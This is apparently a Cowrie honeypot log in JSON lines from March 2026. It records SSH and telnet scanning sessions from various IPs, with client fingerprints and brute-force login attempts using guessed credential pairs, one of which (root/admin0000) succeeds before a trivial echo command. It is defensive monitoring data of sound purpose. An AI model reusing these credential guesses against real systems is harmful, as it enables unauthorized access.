{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":39962,"dst_ip":"159.203.135.109","dst_port":22,"session":"17beb511ce6b","protocol":"ssh","message":"New connection: 78.128.112.74:39962 (159.203.135.109:22) [session: 17beb511ce6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:48:11.315026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:48:11.514571Z","src_ip":"78.128.112.74","session":"17beb511ce6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:48:11.518299Z","src_ip":"78.128.112.74","session":"17beb511ce6b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin0000","message":"login attempt [root/admin0000] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:48:13.640588Z","src_ip":"78.128.112.74","session":"17beb511ce6b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:48:13.889216Z","src_ip":"78.128.112.74","session":"17beb511ce6b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'SSH check'","message":"CMD: echo 'SSH check'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:48:13.891567Z","src_ip":"78.128.112.74","session":"17beb511ce6b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","size":10,"shasum":"96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/96611393ff07da35a9f4527854a26c75399b380988cf0bf2b91877a947bcbb4f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:48:14.004415Z","src_ip":"78.128.112.74","session":"17beb511ce6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:48:14.324779Z","src_ip":"78.128.112.74","session":"17beb511ce6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.128.241.222","src_port":59852,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c3d5078dd53","protocol":"ssh","message":"New connection: 138.128.241.222:59852 (10.17.0.5:22) [session: 1c3d5078dd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:49:05.969023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:49:05.973488Z","src_ip":"138.128.241.222","session":"1c3d5078dd53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:49:05.978441Z","src_ip":"138.128.241.222","session":"1c3d5078dd53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"metamaskwallet","password":"metamaskwallet2018","message":"login attempt [metamaskwallet/metamaskwallet2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:49:05.990284Z","src_ip":"138.128.241.222","session":"1c3d5078dd53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:49:06.997016Z","src_ip":"138.128.241.222","session":"1c3d5078dd53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.119.86.71","src_port":58528,"dst_ip":"159.203.135.109","dst_port":23,"session":"019eb8ac3493","protocol":"telnet","message":"New connection: 20.119.86.71:58528 (159.203.135.109:23) [session: 019eb8ac3493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:49:20.863923Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":41598,"dst_ip":"10.17.0.5","dst_port":22,"session":"8604612f79da","protocol":"ssh","message":"New connection: 5.75.240.121:41598 (10.17.0.5:22) [session: 8604612f79da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:49:23.903104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:49:23.909343Z","src_ip":"5.75.240.121","session":"8604612f79da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:49:24.003566Z","src_ip":"5.75.240.121","session":"8604612f79da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ilv","password":"ilv2017","message":"login attempt [ilv/ilv2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:49:24.196775Z","src_ip":"5.75.240.121","session":"8604612f79da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:49:25.293205Z","src_ip":"5.75.240.121","session":"8604612f79da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.012492418289185,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:49:30.876288Z","src_ip":"20.119.86.71","session":"019eb8ac3493","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.119.86.71","src_port":37264,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5b2e0b2bd75","protocol":"telnet","message":"New connection: 20.119.86.71:37264 (159.203.135.109:23) [session: a5b2e0b2bd75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:49:30.883824Z"}
{"eventid":"cowrie.session.closed","duration":0.021314620971679688,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:49:30.905055Z","src_ip":"20.119.86.71","session":"a5b2e0b2bd75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":21416,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5c9fb6534c2","protocol":"ssh","message":"New connection: 185.156.73.233:21416 (10.17.0.5:22) [session: d5c9fb6534c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:54:20.182900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.10.5","message":"Remote SSH version: SSH-2.0-libssh_0.10.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:54:20.777215Z","src_ip":"185.156.73.233","session":"d5c9fb6534c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1f2f2f9b0a736952f743e5490c64c98a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,chacha20-poly1305@openssh.com,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","chacha20-poly1305@openssh.com","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1f2f2f9b0a736952f743e5490c64c98a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:54:20.853579Z","src_ip":"185.156.73.233","session":"d5c9fb6534c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshd","password":"123456","message":"login attempt [sshd/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:54:21.318050Z","src_ip":"185.156.73.233","session":"d5c9fb6534c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:54:22.402289Z","src_ip":"185.156.73.233","session":"d5c9fb6534c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":35202,"dst_ip":"10.17.0.5","dst_port":22,"session":"69deb65a233a","protocol":"ssh","message":"New connection: 64.176.195.200:35202 (10.17.0.5:22) [session: 69deb65a233a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:55:20.710690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:55:20.714796Z","src_ip":"64.176.195.200","session":"69deb65a233a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:55:20.719678Z","src_ip":"64.176.195.200","session":"69deb65a233a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wcfg","password":"wcfg!","message":"login attempt [wcfg/wcfg!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:55:20.730962Z","src_ip":"64.176.195.200","session":"69deb65a233a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:55:21.738241Z","src_ip":"64.176.195.200","session":"69deb65a233a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.174","src_port":46564,"dst_ip":"159.203.135.109","dst_port":23,"session":"03459f0d30b2","protocol":"telnet","message":"New connection: 130.12.180.174:46564 (159.203.135.109:23) [session: 03459f0d30b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:55:24.237907Z"}
{"eventid":"cowrie.session.closed","duration":0.576303243637085,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:55:24.814089Z","src_ip":"130.12.180.174","session":"03459f0d30b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":59526,"dst_ip":"10.17.0.5","dst_port":22,"session":"387cbdd0bb6c","protocol":"ssh","message":"New connection: 2.57.121.112:59526 (10.17.0.5:22) [session: 387cbdd0bb6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:55:42.144630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:55:42.148927Z","src_ip":"2.57.121.112","session":"387cbdd0bb6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:55:42.252613Z","src_ip":"2.57.121.112","session":"387cbdd0bb6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30091975","message":"login attempt [admin/30091975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:55:42.743011Z","src_ip":"2.57.121.112","session":"387cbdd0bb6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30091973","message":"login attempt [admin/30091973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:55:43.848983Z","src_ip":"2.57.121.112","session":"387cbdd0bb6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30091970","message":"login attempt [admin/30091970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:55:44.956199Z","src_ip":"2.57.121.112","session":"387cbdd0bb6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30081976","message":"login attempt [admin/30081976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:55:46.062076Z","src_ip":"2.57.121.112","session":"387cbdd0bb6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"30081965","message":"login attempt [admin/30081965] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:55:47.168031Z","src_ip":"2.57.121.112","session":"387cbdd0bb6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:55:48.275529Z","src_ip":"2.57.121.112","session":"387cbdd0bb6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":7386,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d27e164ad15","protocol":"ssh","message":"New connection: 2.57.121.112:7386 (159.203.135.109:22) [session: 8d27e164ad15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:57:00.398903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:57:00.403028Z","src_ip":"2.57.121.112","session":"8d27e164ad15","protocol":"ssh"}
